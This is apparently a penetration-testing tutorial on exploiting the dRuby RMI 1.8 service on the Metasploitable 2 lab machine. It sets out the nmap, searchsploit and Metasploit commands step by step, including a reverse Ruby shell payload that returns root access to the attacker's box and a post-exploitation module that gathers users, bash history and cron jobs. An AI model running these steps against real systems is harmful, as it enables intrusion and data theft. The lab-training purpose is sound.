Hacking dRuby RMI Server 1.8

In this tutorial we will be hacking dRuby using a remote code execution vulnerability in the dRuby RMI server that is running on Metasploitable 2. dRuby is a distributed object system for Ruby and is written in Ruby. dRuby uses its own protocol and binds itself to a URI such as druby://example.com on port 8787. By default port 8787 is not scanned by Nmap since it is not included in the list of 1.000 common ports which are scanned by default when no additional port options are specified. Open port 8787 on Metasploitable 2 would remain unnoticed unless we would be using the -p- flag to scan all 65535 ports or use a port range which includes port 8787. This example shows us how important it is to always run a full port scan on a target when performing network enumeration. We could easily be missing crucial information which can be used to compromise the target.

Hacking dRuby RMI Server 1.8 with Metasploit

We will start the dRuby hacking tutorial with scanning port 8787 with Nmap and then we will be performing a vulnerability assessment. Than we will be hacking dRuby RMI server using Metasploit by exploiting the found vulnerabilities. We will conclude this tutorial with a Metasploit post exploitation script to gather information from the compromised system and review the lessons learned.

Nmap scan on port 8787

Let’s run the following command on the console to perform a Nmap Service scan on Metasploitable on port 8787:

nmap -sV [IP] -p8787

Nmap portscan on port 8787.

As we already expected port 8787 is open and Ruby DRb RMI server version 1.8 is running on the target host. Let’s see what vulnerabilities are available for this version of distributed Ruby (dRuby) using searchsploit.

Searchsploit dRuby exploits

Let’s try to search the searchsploit database using an exact match search using the -e flag:

searchsploit -e Ruby DRb RMI

No results.

The exact match query does not return any results. This means that we have to use a more general search term. We could be removing RMI from the search term and if that does not return any results either, we can just search for Ruby exploits and go through the results one by one. Personally I would suggest to use this approach, where we go from specific search terms to general search terms, when a general search term returns too many results. For example the search term WordPress returns 100’s of results and ‘WordPress 3’ only 9.

When we search Searchsploit for Ruby exploit using the following command we are presented with less than 30 results:

searchsploit ruby

Search results for ruby in searchsploit.

When we go through the list of exploits we can see 2 exploits for Distributed Ruby that are worth to further examine. Let’s narrow the results by searching for ‘Distributed Ruby’:

Distributed Ruby exploits.

Remember to put in the -e flag in our command to only show results that have a direct match with this search term. Let’s check out the Distributed Ruby Send instance_eval/syscall Code Execution exploit. When we use the following command we can get some additional information about the explout and the path to the exploit is copied to the clipboard:

searchsploit -p 17058

Copy the path to the exploit to the clipboard.

Next we can check the file contents using the following command:

cat /usr/share/exploitdb/platforms/linux/remote/17058.rb

Metasploit: hacking dRuby RMI server 1.8

We can see that we’re dealing with a Metasploit exploit here. Let’s fire up Metasploit and search for the exploit there. Run the following command to start the msfconsole:

msfconsole

Since we know the name of the exploit we can search only the name field using the following command:

search name:Distributed Ruby Send instance_eval/syscall Code Execution

Distributed Ruby Send instance_eval/syscall Code Execution

And then select the exploit using the use command:

use exploit/linux/misc/drb_remote_codeexec

Let’s set a Ruby reverse shell payload for this exploit first using the following command:

set payload cmd/unix/reverse_ruby

Use the options command to show the available options for this exploit:

options

Exploit options.

Next we need to set the LHOST for the payload:

set LHOST [IP attack box]

And we set the URI using the following command (the expected format is mentioned in the description):

set URI druby://[Target IP]:8787

The listening port can be left as is. All that remains now is running the exploit using the exploit command and if everything is done correctly a reverse shell with root privileges is returned to the attack box:

Root shell!

Post exploitation information gathering

Let’s go one step further and have a look at one of the post exploitation/information gathering modules available for Linux, the enum_system module. We can select this module by backgrounding the command shell session 1 using CTRL + Z. It will than ask us to background the current session, confirm with ‘y’.

Press y to background the session.

Next select the enum_system module using the following command:

use enum_system

Or:

use post/linux/gather/enum_system

Type the info command to see what this module exactly does:

Use the info command for a module description.

The description tells us that the modules gathers system information such as installed packages, installed services, mount information, user list, user bash history and cron jobs.

To run this post gather module we need to point the module to the active session by using the following command:

set session 1

Now type run to execute the module:

run

Post exploitation/information gathering module finished successfully.

We can see that all information is downloaded to our attack box and stored at the following location:

/root/.msf4/loot/

To examine the files you can just simply cd to the location and cat the contents of the text files to the console.

Lessons learned

In this exploiting tutorial we have learned a few important things when penetration testing. Let’s review the lessons learned in this Hacking Tutorial.

Scan all ports

The first thing we’ve learned is that we need to scan all available ports on a traget host when performing a penetration test. When we’re running the default NMap port scans only the top 1000 ports are scanned. In this tutorial we’ve compromised a host using a service running on a port which was not in NMap’s default port list.

Search exploits in an effective and efficient way

We’ve also learned how to use searchsploit effectively when too many results are returned or none. A good approach when a general search term returns to many results is to go from very specific to more general search terms. Very specific could be the service name including the version number and a more general search term could be only the service name. In this tutorial the search term ‘Ruby DRB RMI’ didn’t return any results but ‘Distributed Ruby’ got us the results we were looking for.